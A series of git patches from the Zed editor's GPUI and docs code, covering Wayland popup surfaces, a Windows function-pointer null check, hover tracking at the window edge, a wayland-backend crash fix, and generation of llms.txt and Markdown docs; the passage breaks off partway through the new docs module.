             WaylandSurfaceState::LayerShell(WaylandLayerSurfaceState { layer_surface }) => {
                 layer_surface.destroy();
             }
+            WaylandSurfaceState::Popup(WaylandPopupSurfaceState {
+                xdg_surface,
+                xdg_popup,
+                ..
+            }) => {
+                // Role object before its xdg_surface, as with the toplevel above.
+                xdg_popup.destroy();
+                xdg_surface.destroy();
+            }
         }
     }
 }
@@ -374,7 +549,7 @@ impl WaylandWindowState {
             surface_state,
             acknowledged_first_configure: false,
             parent,
-            children: FxHashSet::default(),
+            children: FxHashMap::default(),
             surface,
             app_id: options.app_id,
             blur: None,
@@ -523,11 +698,18 @@ impl WaylandWindow {
         params: WindowParams,
         appearance: WindowAppearance,
         parent: Option<WaylandWindowStatePtr>,
+        popup_grab: Option<(u32, wl_seat::WlSeat)>,
         target_output: Option<wl_output::WlOutput>,
     ) -> anyhow::Result<(Self, ObjectId)> {
         let surface = globals.compositor.create_surface(&globals.qh, ());
-        let surface_state =
-            WaylandSurfaceState::new(&surface, &globals, &params, parent.clone(), target_output)?;
+        let surface_state = WaylandSurfaceState::new(
+            &surface,
+            &globals,
+            &params,
+            parent.clone(),
+            popup_grab,
+            target_output,
+        )?;
 
         if let Some(fractional_scale_manager) = globals.fractional_scale_manager.as_ref() {
             fractional_scale_manager.get_fractional_scale(&surface, &globals.qh, surface.id());
@@ -575,18 +757,39 @@ impl WaylandWindowStatePtr {
         self.state.borrow().surface_state.toplevel().cloned()
     }
 
+    /// The `xdg_surface` backing this window, if it has one. Used to anchor child popups.
+    pub fn xdg_surface(&self) -> Option<xdg_surface::XdgSurface> {
+        self.state.borrow().surface_state.xdg_surface().cloned()
+    }
+
+    /// The layer-shell surface backing this window, if it is one. Used to anchor child popups.
+    pub fn layer_surface(&self) -> Option<zwlr_layer_surface_v1::ZwlrLayerSurfaceV1> {
+        self.state.borrow().surface_state.layer_surface().cloned()
+    }
+
+    /// This window's xdg window geometry in surface-local coordinates. Child popup anchor
+    /// rectangles are relative to it, while gpui coordinates are surface-local.
+    pub fn window_geometry(&self) -> Bounds<Pixels> {
+        let state = self.state.borrow();
+        inset_by_tiling(
+            state.bounds.map_origin(|_| px(0.0)),
+            state.inset(),
+            state.tiling,
+        )
+    }
+
     pub fn ptr_eq(&self, other: &Self) -> bool {
         Rc::ptr_eq(&self.state, &other.state)
     }
 
-    pub fn add_child(&self, child: ObjectId) {
+    pub fn add_child(&self, child: ObjectId, blocking: bool) {
         let mut state = self.state.borrow_mut();
-        state.children.insert(child);
+        state.children.insert(child, blocking);
     }
 
     pub fn is_blocked(&self) -> bool {
         let state = self.state.borrow();
-        !state.children.is_empty()
+        state.children.values().any(|&blocking| blocking)
     }
 
     pub fn frame(&self) {
@@ -889,6 +1092,35 @@ impl WaylandWindowStatePtr {
         }
     }
 
+    // Returns `true` if the popup should be closed.
+    pub fn handle_popup_event(&self, event: xdg_popup::Event) -> bool {
+        match event {
+            // Only the size is needed, the position is the compositor's. The following
+            // xdg_surface.configure applies the change.
+            xdg_popup::Event::Configure { width, height, .. } => {
+                let size = if width <= 0 || height <= 0 {
+                    None
+                } else {
+                    Some(size(px(width as f32), px(height as f32)))
+                };
+
+                self.state.borrow_mut().in_progress_configure = Some(InProgressConfigure {
+                    size,
+                    fullscreen: false,
+                    maximized: false,
+                    resizing: false,
+                    tiling: Tiling::default(),
+                });
+
+                false
+            }
+            xdg_popup::Event::PopupDone => true,
+            // Precedes the reposition's Configure, which does the work. The token is not needed.
+            xdg_popup::Event::Repositioned { .. } => false,
+            _ => false,
+        }
+    }
+
     #[allow(clippy::mutable_key_type)]
     pub fn handle_surface_event(
         &self,
@@ -1025,8 +1257,7 @@ impl WaylandWindowStatePtr {
     pub fn close(&self) {
         let state = self.state.borrow();
         let client = state.client.get_client();
-        #[allow(clippy::mutable_key_type)]
-        let children = state.children.clone();
+        let children = state.children.keys().cloned().collect::<Vec<_>>();
         drop(state);
 
         for child in children {
@@ -1192,6 +1423,23 @@ impl PlatformWindow for WaylandWindow {
         let state = self.borrow();
         let state_ptr = self.0.clone();
 
+        // A popup's placement is the compositor's, so a resize re-runs the positioner and the
+        // configure reply drives the buffer resize. Before the first configure the popup is
+        // unmapped and cannot reposition, but the initial positioner already carries the size.
+        if matches!(state.surface_state, WaylandSurfaceState::Popup(_)) {
+            if state.acknowledged_first_configure {
+                let parent_geometry = state
+                    .parent
+                    .as_ref()
+                    .map(|parent| parent.window_geometry())
+                    .unwrap_or_default();
+                state
+                    .surface_state
+                    .reposition_popup(&state.globals, size, parent_geometry);
+            }
+            return;
+        }
+
         // Keep window geometry consistent with configure handling. On Wayland, window geometry is
         // surface-local: resizing should not attempt to translate the window; the compositor
         // controls placement. We also account for client-side decoration insets and tiling.
diff --git a/crates/gpui_linux/src/linux/x11/window.rs b/crates/gpui_linux/src/linux/x11/window.rs
index d2edb72408bed9..a459ed03b5d157 100644
--- a/crates/gpui_linux/src/linux/x11/window.rs
+++ b/crates/gpui_linux/src/linux/x11/window.rs
@@ -7,7 +7,7 @@ use gpui::{
     Pixels, PlatformAtlas, PlatformDisplay, PlatformInput, PlatformInputHandler, PlatformWindow,
     Point, PromptButton, PromptLevel, RequestFrameOptions, ResizeEdge, ScaledPixels, Scene, Size,
     Tiling, WindowAppearance, WindowBackgroundAppearance, WindowBounds, WindowControlArea,
-    WindowDecorations, WindowKind, WindowParams, px,
+    WindowDecorations, WindowKind, WindowParams, popup::PopupNotSupportedError, px,
 };
 use gpui_wgpu::{CompositorGpuHint, WgpuRenderer, WgpuSurfaceConfig};
 
@@ -428,6 +428,12 @@ impl X11WindowState {
         supports_xinput_gestures: bool,
         is_bgr: bool,
     ) -> anyhow::Result<Self> {
+        // Native popups are not implemented on X11 yet. Rejecting lets callers fall back to
+        // gpui's in-window popovers.
+        if let WindowKind::AnchoredPopup(_) = params.kind {
+            return Err(PopupNotSupportedError.into());
+        }
+
         let x_screen_index = params
             .display_id
             .map_or(x_main_screen_index, |did| u64::from(did) as usize);
diff --git a/crates/gpui_macos/src/platform.rs b/crates/gpui_macos/src/platform.rs
index 8266cade4d226b..eed9e90bcd3f7b 100644
--- a/crates/gpui_macos/src/platform.rs
+++ b/crates/gpui_macos/src/platform.rs
@@ -31,7 +31,8 @@ use gpui::{
     Action, AnyWindowHandle, BackgroundExecutor, ClipboardItem, CursorStyle, ForegroundExecutor,
     KeyContext, Keymap, Menu, MenuItem, OsMenu, OwnedMenu, PathPromptOptions, Platform,
     PlatformDisplay, PlatformKeyboardLayout, PlatformKeyboardMapper, PlatformTextSystem,
-    PlatformWindow, Result, SystemMenuType, Task, ThermalState, WindowAppearance, WindowParams,
+    PlatformWindow, Result, SystemMenuType, Task, ThermalState, WindowAppearance, WindowKind,
+    WindowParams, popup::PopupNotSupportedError,
 };
 use gpui_util::{ResultExt, new_std_command};
 use itertools::Itertools;
@@ -640,6 +641,12 @@ impl Platform for MacPlatform {
         handle: AnyWindowHandle,
         options: WindowParams,
     ) -> Result<Box<dyn PlatformWindow>> {
+        // Native popups are not implemented on macOS yet. Rejecting lets callers fall back to
+        // gpui's in-window popovers.
+        if let WindowKind::AnchoredPopup(_) = options.kind {
+            return Err(PopupNotSupportedError.into());
+        }
+
         let (cursor_visible, foreground_executor, background_executor, renderer_context) = {
             let guard = self.0.lock();
             (
diff --git a/crates/gpui_macos/src/window.rs b/crates/gpui_macos/src/window.rs
index d3d87608253e03..6221b14161096c 100644
--- a/crates/gpui_macos/src/window.rs
+++ b/crates/gpui_macos/src/window.rs
@@ -795,7 +795,9 @@ impl MacWindow {
                 WindowKind::Normal => {
                     msg_send![WINDOW_CLASS, alloc]
                 }
-                WindowKind::PopUp => {
+                // `AnchoredPopup` is rejected in `MacPlatform::open_window`, grouped here only
+                // for exhaustiveness.
+                WindowKind::PopUp | WindowKind::AnchoredPopup(_) => {
                     style_mask |= NSWindowStyleMaskNonactivatingPanel;
                     msg_send![PANEL_CLASS, alloc]
                 }
@@ -988,7 +990,9 @@ impl MacWindow {
                         let _: () = msg_send![native_window, setTabbingIdentifier:nil];
                     }
                 }
-                WindowKind::PopUp => {
+                // `AnchoredPopup` is rejected in `MacPlatform::open_window`, grouped here only
+                // for exhaustiveness.
+                WindowKind::PopUp | WindowKind::AnchoredPopup(_) => {
                     // Use a tracking area to allow receiving MouseMoved events even when
                     // the window or application aren't active, which is often the case
                     // e.g. for notification windows.
diff --git a/crates/gpui_web/src/platform.rs b/crates/gpui_web/src/platform.rs
index fecc39f368dc8c..c39723ea5b2e15 100644
--- a/crates/gpui_web/src/platform.rs
+++ b/crates/gpui_web/src/platform.rs
@@ -8,7 +8,7 @@ use gpui::{
     Action, AnyWindowHandle, BackgroundExecutor, ClipboardItem, CursorStyle, DummyKeyboardMapper,
     ForegroundExecutor, Keymap, Menu, MenuItem, PathPromptOptions, Platform, PlatformDisplay,
     PlatformKeyboardLayout, PlatformKeyboardMapper, PlatformTextSystem, PlatformWindow, Task,
-    ThermalState, WindowAppearance, WindowParams,
+    ThermalState, WindowAppearance, WindowKind, WindowParams, popup::PopupNotSupportedError,
 };
 use gpui_wgpu::WgpuContext;
 use std::{
@@ -166,6 +166,12 @@ impl Platform for WebPlatform {
         handle: AnyWindowHandle,
         params: WindowParams,
     ) -> anyhow::Result<Box<dyn PlatformWindow>> {
+        // Native popups are not implemented on the web yet. Rejecting lets callers fall back to
+        // gpui's in-window popovers.
+        if let WindowKind::AnchoredPopup(_) = params.kind {
+            return Err(PopupNotSupportedError.into());
+        }
+
         let context_ref = self.wgpu_context.borrow();
         let context = context_ref.as_ref().ok_or_else(|| {
             anyhow::anyhow!("WebGPU context not initialized. Was Platform::run() called?")
diff --git a/crates/gpui_windows/src/window.rs b/crates/gpui_windows/src/window.rs
index 547ee7a9dde9b0..76075a66b1cb19 100644
--- a/crates/gpui_windows/src/window.rs
+++ b/crates/gpui_windows/src/window.rs
@@ -411,6 +411,12 @@ impl WindowsWindow {
         params: WindowParams,
         creation_info: WindowCreationInfo,
     ) -> Result<Self> {
+        // Native popups are not implemented on Windows yet. Rejecting lets callers fall back to
+        // gpui's in-window popovers.
+        if let WindowKind::AnchoredPopup(_) = params.kind {
+            return Err(popup::PopupNotSupportedError.into());
+        }
+
         let WindowCreationInfo {
             icon,
             executor,

From 23c0080d1dd5e8e550ede91c0d573658e5aabe76 Mon Sep 17 00:00:00 2001
From: Richard Feldman <richard@zed.dev>
Date: Wed, 8 Jul 2026 15:27:01 -0400
Subject: [PATCH 347/772] gpui_windows: Check composition attribute lookup
 (#60122)

Checks that SetWindowCompositionAttribute was found before transmuting
and calling the function pointer, making the composition setup a no-op
when the undocumented export is unavailable.

Release Notes:

- N/A
---
 crates/gpui_windows/src/window.rs | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/crates/gpui_windows/src/window.rs b/crates/gpui_windows/src/window.rs
index 76075a66b1cb19..5a4129b493c1f7 100644
--- a/crates/gpui_windows/src/window.rs
+++ b/crates/gpui_windows/src/window.rs
@@ -1545,8 +1545,12 @@ fn set_window_composition_attribute(hwnd: HWND, color: Option<Color>, state: u32
             .log_err()
         {
             let func_name = PCSTR::from_raw(c"SetWindowCompositionAttribute".as_ptr() as *const u8);
+            let Some(raw_set_window_composition_attribute) = GetProcAddress(user32, func_name)
+            else {
+                return;
+            };
             let set_window_composition_attribute: SetWindowCompositionAttributeType =
-                std::mem::transmute(GetProcAddress(user32, func_name));
+                std::mem::transmute(raw_set_window_composition_attribute);
             let mut color = color.unwrap_or_default();
             let is_acrylic = state == 4;
             if is_acrylic && color.3 == 0 {

From 664b7ecb40b83fa728bc40ef8f0385e35ea01287 Mon Sep 17 00:00:00 2001
From: Philipp Schaffrath <philipp.schaffrath@gmail.com>
Date: Wed, 8 Jul 2026 22:27:47 +0200
Subject: [PATCH 348/772] gpui: Fix hover state not clearing when mouse leaves
 window (#60275)

# Objective

Fix two gaps in element hover tracking at window boundaries. Hover was
only re-evaluated on `MouseMove`, so when the pointer left the window no
event fired `on_hover(false)` and the element stayed hovered.
Symmetrically on Wayland, no `Motion` follows `Enter` until the pointer
moves again, so hover was not established at the entry pixel. Both cases
are easy to miss since most hover-styled elements don't sit flush
against the window edge, but they surfaced while implementing
layer_shell popups with input_regions, which should close when stop
hovering.

## Solution

The hover compare-and-fire logic in `div` is refactored into a shared
`update_hover` closure, and a second listener on `MouseExitEvent` clears
hover when the pointer leaves the window. It clears unconditionally
because `MouseExited` doesn't update the tracked mouse position, so a
hit test during that dispatch would still report the element as hovered.

On Wayland, a `MouseMove` is synthesized at the entry position on
`wl_pointer.enter`, mirroring the `MouseExited` already dispatched on
`Leave`.

## Testing

Tested manually on Wayland/Linux: hover on a window-edge element clears
when the pointer leaves the window, and hover is established immediately
when the pointer enters a surface with an element under the entry pixel.

Not tested on other platforms. The `div` change relies on each
platform's existing `MouseExited` dispatch: macOS and X11 emit it, so
they get the exit fix too. Windows never dispatches `MouseExited`
(`WM_MOUSELEAVE` only flips the window-level hover flag), so the
stuck-hover case might remain there, unchanged from before.

Before:


https://github.com/user-attachments/assets/6af83bb3-de9d-40e2-a64c-bdefc98fc96d

After:


https://github.com/user-attachments/assets/721a9b5c-108a-499f-867e-da111836a34a


Here is an example application to test this:

```rs
#![cfg_attr(target_family = "wasm", no_main)]

use gpui::{
    App, Bounds, Context, Window, WindowBounds, WindowOptions, div, prelude::*, px, rgb, size,
};
use gpui_platform::application;

struct HoverExit {
    hovered: bool,
}

impl Render for HoverExit {
    fn render(&mut self, _window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
        // Fills the whole window so its edge is the window edge: moving the mouse
        // out of the window is what exercises the MouseExited path.
        div()
            .id("hover-exit")
            .size_full()
            .flex()
            .justify_center()
            .items_center()
            .text_xl()
            .text_color(rgb(0xffffff))
            .bg(if self.hovered {
                rgb(0x585f58)
            } else {
                rgb(0x505050)
            })
            .child(if self.hovered { "HOVERED" } else { "not hovered" })
            .on_hover(cx.listener(|this, hovered, _, cx| {
                this.hovered = *hovered;
                cx.notify();
            }))
    }
}

fn run_example() {
    application().run(|cx: &mut App| {
        let bounds = Bounds::centered(None, size(px(240.), px(160.0)), cx);
        cx.open_window(
            WindowOptions {
                window_bounds: Some(WindowBounds::Windowed(bounds)),
                app_id: Some("gpui-hover-exit".to_string()),
                ..Default::default()
            },
            |_, cx| cx.new(|_| HoverExit { hovered: false }),
        )
        .unwrap();
        cx.activate(true);
    });
}

#[cfg(not(target_family = "wasm"))]
fn main() {
    run_example();
}

#[cfg(target_family = "wasm")]
#[wasm_bindgen::prelude::wasm_bindgen(start)]
pub fn start() {
    gpui_platform::web_init();
    run_example();
}
```


## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed element hover state not clearing when the mouse leaves the
window
---
 crates/gpui/src/elements/div.rs               | 34 +++++++++++++------
 crates/gpui_linux/src/linux/wayland/client.rs | 11 +++++-
 2 files changed, 33 insertions(+), 12 deletions(-)

diff --git a/crates/gpui/src/elements/div.rs b/crates/gpui/src/elements/div.rs
index ebbce8f84c9d7d..04692c86a55e2a 100644
--- a/crates/gpui/src/elements/div.rs
+++ b/crates/gpui/src/elements/div.rs
@@ -2860,7 +2860,6 @@ impl Interactivity {
             }
 
             if let Some(hover_listener) = self.hover_listener.take() {
-                let hitbox = hitbox.clone();
                 let was_hovered = element_state
                     .hover_listener_state
                     .get_or_insert_with(Default::default)
@@ -2869,22 +2868,35 @@ impl Interactivity {
                     .pending_mouse_down
                     .get_or_insert_with(Default::default)
                     .clone();
-
-                window.on_mouse_event(move |_: &MouseMoveEvent, phase, window, cx| {
-                    if phase != DispatchPhase::Bubble {
-                        return;
-                    }
-                    let is_hovered = has_mouse_down.borrow().is_none()
-                        && !cx.has_active_drag()
-                        && hitbox.is_hovered(window);
+                let hover_listener = Rc::new(hover_listener);
+                let update_hover = move |is_hovered: bool, window: &mut Window, cx: &mut App| {
                     let mut was_hovered = was_hovered.borrow_mut();
-
                     if is_hovered != *was_hovered {
                         *was_hovered = is_hovered;
                         drop(was_hovered);
-
                         hover_listener(&is_hovered, window, cx);
                     }
+                };
+
+                window.on_mouse_event({
+                    let update_hover = update_hover.clone();
+                    let hitbox = hitbox.clone();
+                    move |_: &MouseMoveEvent, phase, window, cx| {
+                        if phase == DispatchPhase::Bubble {
+                            let is_hovered = has_mouse_down.borrow().is_none()
+                                && !cx.has_active_drag()
+                                && hitbox.is_hovered(window);
+                            update_hover(is_hovered, window, cx);
+                        }
+                    }
+                });
+
+                // The pointer can leave the window without a final MouseMove, so also
+                // clear hover on MouseExited.
+                window.on_mouse_event(move |_: &MouseExitEvent, phase, window, cx| {
+                    if phase == DispatchPhase::Bubble {
+                        update_hover(false, window, cx);
+                    }
                 });
             }
 
diff --git a/crates/gpui_linux/src/linux/wayland/client.rs b/crates/gpui_linux/src/linux/wayland/client.rs
index 9522ebb8f0d298..a4cc9fde9f1d5e 100644
--- a/crates/gpui_linux/src/linux/wayland/client.rs
+++ b/crates/gpui_linux/src/linux/wayland/client.rs
@@ -1884,8 +1884,9 @@ impl Dispatch<wl_pointer::WlPointer, ()> for WaylandClientStatePtr {
                 surface_y,
                 ..
             } => {
+                let position = point(px(surface_x as f32), px(surface_y as f32));
                 state.serial_tracker.update(SerialKind::MouseEnter, serial);
-                state.mouse_location = Some(point(px(surface_x as f32), px(surface_y as f32)));
+                state.mouse_location = Some(position);
                 state.button_pressed = None;
 
                 if let Some(window) = get_window(&mut state, &surface.id()) {
@@ -1908,8 +1909,16 @@ impl Dispatch<wl_pointer::WlPointer, ()> for WaylandClientStatePtr {
                             );
                         }
                     }
+                    let modifiers = state.modifiers;
                     drop(state);
                     window.set_hovered(true);
+                    // No Motion follows Enter unless the pointer keeps moving, so synthesize
+                    // a MouseMove to establish hover at the entry position.
+                    window.handle_input(PlatformInput::MouseMove(MouseMoveEvent {
+                        position,
+                        pressed_button: None,
+                        modifiers,
+                    }));
                 }
             }
             wl_pointer::Event::Leave { .. } => {

From dd68454633ac9fea8b42115ae09568e7395831e2 Mon Sep 17 00:00:00 2001
From: Richard Feldman <richard@zed.dev>
Date: Wed, 8 Jul 2026 16:37:57 -0400
Subject: [PATCH 349/772] Update wayland-backend to fix Wayland file dialog
 crash (#60621)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

On Wayland, closing a window in the brief gap between requesting a
portal file dialog and ashpd exporting the window's surface (used to
parent the dialog) crashed Zed with `Unknown opcode 0 for object
<anonymous>@0`
([ZED-9KB](https://zed-dev.sentry.io/issues/7568720776/)). When the
export request fails because the surface is already dead,
wayland-scanner's generated code silently returns an inert proxy, and
ashpd's `Drop` impl later sends `destroy` on it — which wayland-backend
0.3.11 answers with a panic, because it looks up the request opcode
before checking whether the object is null. wayland-backend 0.3.15 fixes
this
([Smithay/wayland-rs#890](https://github.com/Smithay/wayland-rs/issues/890))
by returning an error instead, which the generated destructor discards,
so the drop becomes a harmless no-op. This bumps the lockfile to 0.3.15
and raises the version floor in `gpui_linux` so the fix can't silently
regress via a fresh lockfile.

Closes FR-100

Release Notes:

- Fixed a crash on Linux (Wayland) when a window was closed just as a
file dialog was being opened.
---
 Cargo.lock                   | 12 ++++++------
 crates/gpui_linux/Cargo.toml |  2 +-
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 3f71a7000d7f3b..f65225de1bd947 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -5344,9 +5344,9 @@ dependencies = [
 
 [[package]]
 name = "dlib"
-version = "0.5.2"
+version = "0.5.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "330c60081dcc4c72131f8eb70510f1ac07223e5d4163db481a04a0befcffa412"
+checksum = "ab8ecd87370524b461f8557c119c405552c396ed91fc0a8eec68679eab26f94a"
 dependencies = [
  "libloading",
 ]
@@ -20843,9 +20843,9 @@ dependencies = [
 
 [[package]]
 name = "wayland-backend"
-version = "0.3.11"
+version = "0.3.15"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "673a33c33048a5ade91a6b139580fa174e19fb0d23f396dca9fa15f2e1e49b35"
+checksum = "2857dd20b54e916ec7253b3d6b4d5c4d7d4ca2c33c2e11c6c76a99bd8744755d"
 dependencies = [
  "cc",
  "downcast-rs",
@@ -20929,9 +20929,9 @@ dependencies = [
 
 [[package]]
 name = "wayland-sys"
-version = "0.31.7"
+version = "0.31.11"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "34949b42822155826b41db8e5d0c1be3a2bd296c747577a43a3e6daefc296142"
+checksum = "d8eab23fefc9e41f8e841df4a9c707e8a8c4ed26e944ef69297184de2785e3be"
 dependencies = [
  "dlib",
  "log",
diff --git a/crates/gpui_linux/Cargo.toml b/crates/gpui_linux/Cargo.toml
index a1e0531f3d5185..262da8d4dffb8d 100644
--- a/crates/gpui_linux/Cargo.toml
+++ b/crates/gpui_linux/Cargo.toml
@@ -96,7 +96,7 @@ scap = { workspace = true, optional = true }
 
 # Wayland
 calloop-wayland-source = { version = "0.4.1", optional = true }
-wayland-backend = { version = "0.3.3", features = [
+wayland-backend = { version = "0.3.15", features = [
     "client_system",
     "dlopen",
 ], optional = true }

From 10504e3ce18bb1d2444baf1047fa4ea9835ff1cc Mon Sep 17 00:00:00 2001
From: morgankrey <morgan@zed.dev>
Date: Wed, 8 Jul 2026 15:54:51 -0500
Subject: [PATCH 350/772] Improve docs AI readiness (#59577)

Context

This PR makes the Zed docs easier for AI tools, search crawlers, and
users to consume without changing the visible docs content. The current
production docs are primarily optimized for browser navigation. They do
not expose first-class Markdown URLs, an `llms.txt` index, page-level
copy affordances, or machine-readable freshness metadata that let users
and agents grab clean, current page content.

Changes

- Generate Markdown copies for docs pages during the mdBook postprocess
step, including `/docs/index.md` as an alias for Getting Started.
- Generate `/docs/llms.txt` from the mdBook chapter list, grouped by
`SUMMARY.md` sections and annotated with page frontmatter descriptions.
- Generate `/docs/sitemap.xml` with `<lastmod>` values for every docs
page.
- Emit machine-readable freshness metadata in HTML via `last-modified`
and `article:modified_time` meta tags.
- Generate Cloudflare Pages `_redirects` for `.html`, extensionless, and
`.md` redirect variants, with channel-aware docs destinations.
- Add discovery hints for agents and crawlers: `rel="llms.txt"`,
`rel="alternate" type="text/markdown"`, and a short generated `llms.txt`
directive in copied Markdown pages.
- Update the docs proxy so `Accept: text/markdown`, `/docs.md`, and
direct `.md` requests can resolve to the generated Markdown artifacts.
- Move primary docs content earlier in the HTML source while preserving
the visible layout, so crawlers and agent scorers encounter the article
before sidebar chrome.
- Move the existing copy-as-Markdown control from the top navigation
into the page-title row, using the generated Markdown alternate link as
the source of truth.
- Split AI-discovery artifact generation out of
`docs_preprocessor/src/main.rs` into a focused module.

Best Practices Adopted

- Use `llms.txt` as a concise navigation index, not a dump of full page
content.
- Link to absolute, canonical Markdown URLs from `llms.txt`.
- Preserve the docs hierarchy in `llms.txt` instead of emitting a flat
sitemap-like list.
- Include short per-link descriptions from existing metadata rather than
inventing summaries.
- Keep `llms.txt`, Markdown copies, sitemap data, redirects, and
freshness metadata generated from the same mdBook source to avoid drift.
- Advertise Markdown alternates with standard HTML metadata and
same-origin URLs.
- Support both explicit Markdown URLs and content negotiation for
clients that prefer Markdown.
- Keep browser copy behavior pointed at generated Markdown alternate
links instead of duplicating route inference in JavaScript.
- Keep the copy-as-Markdown affordance in the page title row without
duplicating header chrome controls.

Validation

- `cargo check -p docs_preprocessor`
- `cargo test -p docs_preprocessor`
- `./script/clippy -p docs_preprocessor`
- `mdbook build ./docs --dest-dir=../target/deploy/docs/`
- `node --check docs/theme/plugins.js`
- `pnpm dlx prettier@3.5.0 docs/theme/plugins.js --check`
- `git diff --check`
- Local artifact checks confirmed generated Markdown pages, `llms.txt`,
`sitemap.xml` lastmod values, HTML freshness metadata, Markdown
alternate links, redirect targets, and preprocessed action/keybinding
tags resolve as expected.
- Worker URL rewrite mock covered `/docs/`, `/docs.md`,
`/docs/index.md`, extensionless docs routes, `.html` routes,
`/docs/llms.txt`, and `/docs/sitemap.xml`.
- High-effort adversarial subagent review found blockers around
channel-aware redirects, shallow-checkout date fallback, file size,
duplicated Markdown path inference, and process spawning. Those were
addressed.

Remaining Notes

- Local `python -m http.server` does not emulate Cloudflare Pages pretty
URLs, `_redirects`, or the docs-proxy Worker, so full local `afdocs`
still cannot prove content negotiation end to end.
- Existing production remains unchanged until this PR is deployed
through the docs workflow.
- Production baseline `npx afdocs check https://zed.dev/docs/ --fixes
--verbose` still reports the original failures before this PR is
deployed: 12 passed, 8 failed, 3 skipped.

Release Notes:

- Improved docs AI-readiness by adding machine-readable discovery,
Markdown access, and freshness metadata.

---------

Co-authored-by: Katie Geer <katie@zed.dev>
Co-authored-by: Ben Kunkle <ben@zed.dev>
---
 .cloudflare/docs-proxy/src/worker.js         |  41 ++
 crates/docs_preprocessor/Cargo.toml          |   2 +-
 crates/docs_preprocessor/src/ai_discovery.rs | 549 +++++++++++++++++++
 crates/docs_preprocessor/src/main.rs         | 122 ++---
 crates/docs_preprocessor/src/tests.rs        |  61 +++
 docs/book.toml                               |   4 +-
 docs/theme/css/chrome.css                    |   1 +
 docs/theme/css/general.css                   |   1 +
 docs/theme/index.hbs                         | 182 +++---
 docs/theme/plugins.css                       |  64 +++
 docs/theme/plugins.js                        | 173 ++++--
 11 files changed, 982 insertions(+), 218 deletions(-)
 create mode 100644 crates/docs_preprocessor/src/ai_discovery.rs
 create mode 100644 crates/docs_preprocessor/src/tests.rs

diff --git a/.cloudflare/docs-proxy/src/worker.js b/.cloudflare/docs-proxy/src/worker.js
index 08b0265fafbbb0..99fca0c7116614 100644
--- a/.cloudflare/docs-proxy/src/worker.js
+++ b/.cloudflare/docs-proxy/src/worker.js
@@ -1,6 +1,11 @@
 export default {
   async fetch(request, _env, _ctx) {
     const url = new URL(request.url);
+    const acceptHeader = request.headers.get("Accept") || "";
+    const wantsMarkdown = acceptHeader
+      .split(",")
+      .map((mediaType) => mediaType.split(";")[0].trim().toLowerCase())
+      .includes("text/markdown");
 
     if (url.pathname === "/docs/nightly") {
       url.hostname = "docs-nightly.pages.dev";
@@ -18,6 +23,14 @@ export default {
       url.hostname = "docs-anw.pages.dev";
     }
 
+    if (url.pathname === "/docs.md") {
+      url.pathname = "/docs/getting-started.md";
+    }
+
+    if (wantsMarkdown) {
+      url.pathname = markdownPathFor(url.pathname);
+    }
+
     let res = await fetch(url, request);
 
     if (res.status === 404) {
@@ -27,3 +40,31 @@ export default {
     return res;
   },
 };
+
+function markdownPathFor(pathname) {
+  if (pathname === "/docs" || pathname === "/docs/") {
+    return "/docs/getting-started.md";
+  }
+
+  if (pathname.endsWith("/index.md")) {
+    return pathname.replace(/\/index\.md$/, "/getting-started.md");
+  }
+
+  if (pathname.endsWith(".md")) {
+    return pathname;
+  }
+
+  if (pathname.endsWith(".html")) {
+    return pathname.replace(/\.html$/, ".md");
+  }
+
+  if (pathname.split("/").pop().includes(".")) {
+    return pathname;
+  }
+
+  if (pathname.endsWith("/")) {
+    return `${pathname}getting-started.md`;
+  }
+
+  return `${pathname}.md`;
+}
diff --git a/crates/docs_preprocessor/Cargo.toml b/crates/docs_preprocessor/Cargo.toml
index 87e5110ff52b6e..a422d2811dbb6d 100644
--- a/crates/docs_preprocessor/Cargo.toml
+++ b/crates/docs_preprocessor/Cargo.toml
@@ -27,4 +27,4 @@ workspace = true
 
 [[bin]]
 name = "docs_preprocessor"
-path = "src/main.rs"
\ No newline at end of file
+path = "src/main.rs"
diff --git a/crates/docs_preprocessor/src/ai_discovery.rs b/crates/docs_preprocessor/src/ai_discovery.rs
new file mode 100644
index 00000000000000..4f3f919582737f
--- /dev/null
+++ b/crates/docs_preprocessor/src/ai_discovery.rs
@@ -0,0 +1,549 @@
+use anyhow::{Context, Result};
+use mdbook::BookItem;
+use mdbook::book::Book;
+use regex::Regex;
+use std::collections::HashMap;
+use std::path::{Path, PathBuf};
+use std::sync::OnceLock;
+
+use crate::FRONT_MATTER_COMMENT;
+
+#[derive(Debug)]
+pub(crate) struct DocsPage {
+    section: String,
+    title: String,
+    description: Option<String>,
+    pub(crate) source_path: PathBuf,
+    content: String,
+}
+
+pub(crate) fn write_ai_discovery_artifacts(
+    pages: &[DocsPage],
+    destination: &Path,
+    site_url: &str,
+) -> Result<()> {
+    copy_markdown_sources(destination, site_url, pages)?;
+    write_llms_txt(destination, site_url, pages)?;
+    write_sitemap_xml(destination, site_url, pages)?;
+    Ok(())
+}
+
+pub(crate) fn docs_pages(book: &Book) -> Result<Vec<DocsPage>> {
+    let mut pages = Vec::new();
+    let mut section = "Docs".to_string();
+    for item in book.iter() {
+        let BookItem::Chapter(chapter) = item else {
+            if let BookItem::PartTitle(part_title) = item {
+                section.clone_from(part_title);
+            }
+            continue;
+        };
+        let Some(source_path) = chapter.source_path.as_ref() else {
+            continue;
+        };
+        if source_path == Path::new("SUMMARY.md") {
+            continue;
+        }
+        pages.push(DocsPage {
+            section: section.clone(),
+            title: chapter.name.clone(),
+            description: docs_page_description(&chapter.content),
+            source_path: source_path.clone(),
+            content: chapter.content.clone(),
+        });
+    }
+    Ok(pages)
+}
+
+fn copy_markdown_sources(destination: &Path, site_url: &str, pages: &[DocsPage]) -> Result<()> {
+    for page in pages {
